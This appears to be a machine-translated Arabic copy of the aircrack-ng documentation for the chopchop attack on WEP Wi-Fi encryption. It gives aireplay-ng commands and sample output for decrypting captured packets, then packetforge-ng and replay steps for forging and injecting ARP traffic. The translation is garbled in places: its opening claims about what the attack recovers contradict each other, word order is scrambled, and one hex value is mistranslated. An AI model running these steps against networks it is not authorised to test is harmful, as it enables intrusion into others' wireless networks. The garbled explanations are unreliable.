



كوريك تشوب تشوب

وصف

لا يمكن لهذا الهجوم، عند نجاحه، فك تشفير حزمة بيانات WEP دون معرفة المفتاح. بل إنه قادر على اختراق WEP الديناميكي. مع ذلك، فإن بعض نقاط الوصول ليست عرضة لهذا الهجوم. يستعيد هذا الهجوم مفتاح WEP نفسه، بل يكشف النص الأصلي فقط. قد تبدو بعضها عرضة له في البداية، لكنها في الواقع تتجاهل حزم البيانات التي يقل حجمها عن 60 بايت. إذا تجاهلت نقطة الوصول حزمًا يقل حجمها عن 42 بايت، يحاول برنامج aireplay تخمين بقية البيانات المفقودة، طالما أن رؤوس الحزم قابلة للتنبؤ. إذا تم التقاط حزمة IP، فإنه يتحقق أيضًا من صحة مجموع التحقق لرأس الحزمة بعد تخمين أجزائها المفقودة. يتطلب هذا الهجوم حزمة بيانات WEP واحدة على الأقل.

ChopchopTheory إذا كنت ترغب في معرفة المزيد عن النظرية الكامنة وراء هذا الهجوم، فراجع

الاستخدام

```
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
```

أين:

- -4 تعني هجوم التقطيع
- -h 00:09:5B:EC:EE:F2 هو عنوان MAC الخاص بالعميل المرتبط أو عنوان MAC هو عنوان
- -b 00:14:6C:7E:40:80 لنقطة الوصول هو عنوان
- ath0 هو اسم واجهة الشبكة اللاسلكية

على aireplay-ng الأخرى. تحتوي الصفحة الرئيسية لـ aireplay-ng على الرغم من عدم ظهورها، يمكنك استخدام أي من مرشحات القائمة الكاملة. من المرشحات الشائعة الأخرى استخدام المعاملين m- و n- لتحديد الحد الأدنى والحد الأقصى لأحجام الحزم المراد اختبارها.

في حال حذف الخيار "-h"، سيتم تنفيذ هجوم تشوب تشوب غير مصادق عليه. انظر المثال أدناه لمزيد من التفاصيل.

أمثلة على الاستخدام

مثال مع مخرجات نموذجية

هذا مثال على هجوم "التقطيع والتثبيت" المصادق عليه. بمعنى أنه يجب عليك أولاً إجراء مصادقة وهمية واستخدام عنوان MAC المصدر مع الخيار "-h". يؤدي هذا أساسًا إلى إرسال جميع الحزم باستخدام عنوان MAC المصدر المحدد بواسطة "-h"، بينما يختلف عنوان MAC الوجهة بـ 256 تركيبة.

```
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
```

أين:

- -4 تعني هجوم التقطيع
- -h 00:09:5B:EC:EE:F2 هو عنوان MAC الخاص ببطاقتنا ويجب أن يتطابق مع عنوان MAC هو عنوان
- -b 00:14:6C:7E:40:80 لنقطة الوصول هو عنوان
- ath0 هو اسم واجهة الشبكة اللاسلكية

يستجيب النظام:

اقرأ 165 عبوة...

الحجم: 86، من 1 DS، إلى (WEP) 0 DS:

BSSID = 00:14:6C:7E:40:80

عنوان MAC الوجهة = FF:FF:FF:FF:FF:FF

عنوان MAC المصدر = F4:77:E5:C9:00:40

```
0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B.....l~@.
0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._...."
0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H....._=..C
0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%[(.s
0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.qrei
0x0050: cfeb 4a72 be46 ..Jr.F
```

هل تستخدم هذه الحزمة؟ نعم

أجب بـ "نعم" أعلاه وسيستمر النظام.

حفظ الحزمة المختارة في replay_src-0201-191639.cap

الإزاحة 85 (%0 مكتمل) | pt = 95 | xor = D3 | تمت كتابة 253 إطارًا في 760 مللي ثانية
الإزاحة 84 (تم إنجاز 1%) | عملية XOR = EB | نقطة = 55 | تمت كتابة 166 إطارًا في 498 مللي ثانية
الإزاحة 83 (تم إنجاز 3%) | عملية XOR = 47 | نقطة = 35 | تمت كتابة 215 إطارًا في 645 مللي ثانية
الإزاحة 82 (تم إنجاز 5%) | pt = 4D | xor = 07 | تمت كتابة 161 إطارًا في 483 مللي ثانية
الإزاحة 81 (تم إنجاز 7%) | عملية XOR = EB | نقطة = 00 | تمت كتابة 12 إطارًا في 36 مللي ثانية
الإزاحة 80 (تم إنجاز 9%) | عملية XOR = CF | النقطة = 00 | تمت كتابة 152 إطارًا في 456 مللي ثانية
الإزاحة 79 (تم إنجاز 11%) | pt = 00 | xor = 05 | تمت كتابة 29 إطارًا في 87 مللي ثانية
الإزاحة 78 (تم إنجاز 13%) | عملية XOR = 69 | نقطة = 00 | تمت كتابة 151 إطارًا في 454 مللي ثانية
الإزاحة 77 (تم إنجاز 15%) | pt = 00 | xor = CA | تمت كتابة 24 إطارًا في 71 مللي ثانية
الإزاحة 76 (تم إنجاز 17%) | عملية XOR = 65 | نقطة = 00 | تمت كتابة 129 إطارًا في 387 مللي ثانية
الإزاحة 75 (تم إنجاز 19%) | pt = 00 | xor = 9E | تمت كتابة 36 إطارًا في 108 مللي ثانية
الإزاحة 74 (تم إنجاز 21%) | عملية XOR = 72 | نقطة = 00 | تمت كتابة 39 إطارًا في 117 مللي ثانية
الإزاحة 73 (تم إنجاز 23%) | pt = 00 | xor = 01 | تمت كتابة 146 إطارًا في 438 مللي ثانية
الإزاحة 72 (تم إنجاز 25%) | عملية XOR = 71 | نقطة = 00 | تمت كتابة 83 إطارًا في 249 مللي ثانية
الإزاحة 71 (تم إنجاز 26%) | pt = 00 | xor = A1 | تمت كتابة 43 إطارًا في 129 مللي ثانية
الإزاحة 70 (تم إنجاز 28%) | عملية XOR = 3E | نقطة = 00 | تمت كتابة 98 إطارًا في 294 مللي ثانية
الإزاحة 69 (تم إنجاز 30%) | عملية XOR = BB | النقطة = 00 | تمت كتابة 129 إطارًا في 387 مللي ثانية
الإزاحة 68 (تم إنجاز 32%) | pt = 00 | xor = AE | تمت كتابة 248 إطارًا في 744 مللي ثانية
الإزاحة 67 (تم إنجاز 34%) | عملية XOR = FB | نقطة = 00 | تمت كتابة 105 إطارًا في 315 مللي ثانية
الإزاحة 66 (تم إنجاز 36%) | عملية XOR = 43 | نقطة = 00 | تمت كتابة 101 إطارًا في 303 مللي ثانية
الإزاحة 65 (تم إنجاز 38%) | عملية XOR = D4 | النقطة = 00 | تمت كتابة 158 إطارًا في 474 مللي ثانية
الإزاحة 64 (تم إنجاز 40%) | عملية XOR = 16 | نقطة = 00 | تمت كتابة 197 إطارًا في 591 مللي ثانية
الإزاحة 63 (تم إنجاز 42%) | عملية XOR = 7F | نقطة = 0C | تمت كتابة 72 إطارًا في 217 مللي ثانية
الإزاحة 62 (تم إنجاز 44%) | عملية XOR = 1F | نقطة = 37 | تمت كتابة 166 إطارًا في 497 مللي ثانية
الإزاحة 61 (تم إنجاز 46%) | عملية XOR = 5C | النقطة = A8 | تمت كتابة 119 إطارًا في 357 مللي ثانية
الإزاحة 60 (تم إنجاز 48%) | عملية XOR = 9B | نقطة = C0 | تمت كتابة 229 إطارًا في 687 مللي ثانية
الإزاحة 59 (تم إنجاز 50%) | عملية XOR = 91 | نقطة = 00 | تمت كتابة 113 إطارًا في 339 مللي ثانية
الإزاحة 58 (تم إنجاز 51%) | عملية XOR = 25 | نقطة = 00 | تمت كتابة 184 إطارًا في 552 مللي ثانية
الإزاحة 57 (تم إنجاز 53%) | عملية XOR = 94 | نقطة = 00 | تمت كتابة 33 إطارًا في 99 مللي ثانية
الإزاحة 56 (تم إنجاز 55%) | عملية XOR = F3 | النقطة = 00 | تمت كتابة 193 إطارًا في 579 مللي ثانية
الإزاحة 55 (تم إنجاز 57%) | عملية XOR = D6 | النقطة = 00 | تمت كتابة 17 إطارًا في 51 مللي ثانية
الإزاحة 54 (تم إنجاز 59%) | pt = 00 | xor = FA | تمت كتابة 81 إطارًا في 243 مللي ثانية
الإزاحة 53 (تم إنجاز 61%) | عملية XOR = EA | نقطة = 01 | تمت كتابة 95 إطارًا في 285 مللي ثانية
الإزاحة 52 (تم إنجاز 63%) | عملية XOR = 5D | النقطة = 37 | تمت كتابة 24 إطارًا في 72 مللي ثانية
الإزاحة 51 (تم إنجاز 65%) | عملية XOR = 33 | النقطة = A8 | تمت كتابة 20 إطارًا في 59 مللي ثانية
الإزاحة 50 (تم إنجاز 67%) | عملية XOR = CC | نقطة = C0 | تمت كتابة 97 إطارًا في 291 مللي ثانية
الإزاحة 49 (تم إنجاز 69%) | عملية XOR = 03 | نقطة = C9 | تمت كتابة 188 إطارًا في 566 مللي ثانية
الإزاحة 48 (تم إنجاز 71%) | عملية XOR = 34 | النقطة = E5 | تمت كتابة 48 إطارًا في 142 مللي ثانية
الإزاحة 47 (تم إنجاز 73%) | عملية XOR = 34 | نقطة = 77 | تمت كتابة 64 إطارًا في 192 مللي ثانية
الإزاحة 46 (تم إنجاز 75%) | عملية XOR = 51 | النقطة = F4 | تمت كتابة 253 إطارًا في 759 مللي ثانية
الإزاحة 45 (تم إنجاز 76%) | عملية XOR = 98 | نقطة = 40 | تمت كتابة 109 إطارًا في 327 مللي ثانية
الإزاحة 44 (تم إنجاز 78%) | عملية XOR = ثنائية الأبعاد | النقطة = 00 | تمت كتابة 242 إطارًا في 726 مللي ثانية
الإزاحة 43 (تم إنجاز 80%) | عملية XOR = 5E | نقطة = 01 | تمت كتابة 194 إطارًا في 583 مللي ثانية

الإزاحة 42 (تم إنجاز 82%) | عملية XOR = AF | النقطة = 00 | تمت كتابة 99 إطارًا في 296 مللي ثانية
الإزاحة 41 (تم إنجاز 84%) | عملية XOR = C4 | نقطة = 04 | تمت كتابة 164 إطارًا في 492 مللي ثانية
الإزاحة 40 (تم إنجاز 86%) | عملية XOR = CE | نقطة النهاية = 06 | تمت كتابة 69 إطارًا في 207 مللي ثانية
الإزاحة 39 (تم إنجاز 88%) | عملية XOR = 9D | النقطة = 00 | تمت كتابة 137 إطارًا في 411 مللي ثانية
الإزاحة 38 (تم إنجاز 90%) | عملية XOR = FD | نقطة = 08 | تمت كتابة 229 إطارًا في 688 مللي ثانية
الإزاحة 37 (تم إنجاز 92%) | عملية XOR = 13 | نقطة = 01 | تمت كتابة 232 إطارًا في 695 مللي ثانية
الإزاحة 36 (تم إنجاز 94%) | عملية XOR = 83 | نقطة = 00 | تمت كتابة 19 إطارًا في 58 مللي ثانية
الإزاحة 35 (تم إنجاز 96%) | عملية XOR = 4E | نقطة = 06 | تمت كتابة 230 إطارًا في 689 مللي ثانية
تم إرسال 957 حزمة، التخمين الحالي: B9...

يبدو أن نقطة الوصول تقوم بإسقاط الحزم التي يقل طولها عن 35 بايت.
تفعيل الحل البديل القياسي: إعادة إنشاء رأس ARP.

حفظ النص الأصلي في replay_dec-0201-191706.cap
جارٍ حفظ ملف المفاتيح في replay_dec-0201-191706.xor

تم الانتهاء في 21 ثانية (2.29 بايت/ثانية)

تم بنجاح! يُمكنك الآن استخدام الملف "replay_dec-0201-191706.xor" المذكور أعلاه في الخطوة التالية لإنشاء حزمة بيانات مثل حزمة ARP. كما يُمكنك استخدام tcpdump أو Wireshark لعرض حزمة البيانات المُفكَّكة والمُخرَجة، packetforge-ng باستخدام replay_dec-0201-191706.cap في الملف

تشوب تشوب بدون توثيق

هذا مثال على هجوم تشوب تشوب بدون مصادقة. بمعنى آخر، لا تحتاج إلى إجراء مصادقة وهمية أولاً، وتتجاهل الخيار "h-". يؤدي هذا أساسًا إلى إرسال جميع الحزم باستخدام عنوان MAC مصدر عشوائي وعنوان MAC وجهة للبيث.

لا يعمل هذا إلا مع عدد محدود جدًا من نقاط الوصول. بالنسبة لنقاط الوصول المعرضة للخطر، فإنها لن ترسل حزمة إلغاء المصادقة إلا إذا كانت حزمة المصدر صالحة. في هذه الحالة، يكون قد تم تحديد بايت واحد بنجاح.

```
aireplay-ng -4 -b 00:14:6C:7E:40:80 ath0
```

أين:

- 4- تعني هجوم التقطيع
- -b 00:14:6C:7E:40:80 هو عنوان MAC لنقطة الوصول
- ath0 هو اسم واجهة الشبكة اللاسلكية

إنشاء حزمة ARP

1. أولاً، نقوم بفك تشفير حزمة واحدة

```
aireplay-ng -4 ath0
```

إذا لم تنجح هذه المحاولة، ففي معظم الحالات، يقوم جهاز الوصول ببساطة بإسقاط البيانات لأنه لا يتعرف على عنوان MAC الخاص بالمرسل. في هذه الحالة، يجب علينا استخدام عنوان MAC الخاص بجهاز متصل مسموح له بإرسال البيانات عبر الشبكة.

```
aireplay-ng -4 -h 00:09:5B:EB:C5:2B ath0
```

2. لنلق نظرة على عنوان IP

```
tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap  
قراءة من الملف replay_dec-0627-022301.cap، نوع الرابط [...] IP 192.168.1.2 > 192.168.1.255: icmp 64: 1 طلب صدى التسلسل
```

3. بعد ذلك، قم بإنشاء طلب ARP. لا يهم عنوان IP المصدر (192.168.1.100)، ولكن يجب أن يستجيب عنوان IP الوجهة (192.168.1.2) لطلبات ARP. يجب أن ينتمي عنوان MAC المصدر إلى محطة مرتبطة، في حال كانت نقطة الوصول تقوم بتصفية حركة المرور غير المصادق عليها.

```
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EB:C5:2B -k 192.168.1.2 -l 192.168.1.100 -y  
replay_dec-0627-022301.xor -w arp.cap
```

4. وأعد تشغيل طلب ARP المزور الخاص بنا

```
aireplay-ng -2 -r arp.cap ath0
```

نصائح الاستخدام

متى يجب رفض طلب باقة معينة؟ قد تتساءل عما إذا كانت هناك أوقات يجب فيها رفض اختيار باقة معينة. إليك بعض الأمثلة على الحالات التي قد يكون من الأفضل فيها الرفض:

- كان طول الحزمة قصيرًا جدًا، وكنت تريد/تحتاج إلى PRGA أطول من طول الحزمة.
- كنت تبحث عن فك تشفير حزمة بيانات من/إلى عميل معين، وكنت تنتظر حزمة بيانات من/إلى عنوان MAC الخاص بذلك العميل.
- الحزم الصغيرة أي... إن قد ترغب في اختيار حزمة بيانات قصيرة عمدًا، لأن وقت فك التشفير يتناسب طرديًا مع طول الحزمة، تستغرق وقتًا أقل.

استكشاف أخطاء الاستخدام وإصلاحها

. استكشاف أخطاء استخدام aireplay-ng وإصلاحها راجع أيضًا الأفكار العامة لاستكشاف أخطاء aireplay-ng:

على الرغم من أنها ليست نصيحة مباشرة لحل مشكلة هجوم تشوب تشوب، إلا أنه إذا لم تتمكن من جعل الهجوم يعمل، فهناك بعض الهجمات البديلة التي يجب عليك مراعاتها:

- هذه تقنية بديلة للحصول على PRGA لبناء حزم البيانات لحقنها لاحقًا. هجوم التجزئة
- تسمح لك هذه التقنية بإعادة إدخال أي حزمة بيانات يتم استلامها من نقطة الوصول وإنشاء متجهات تهينة. طريقة -0841 p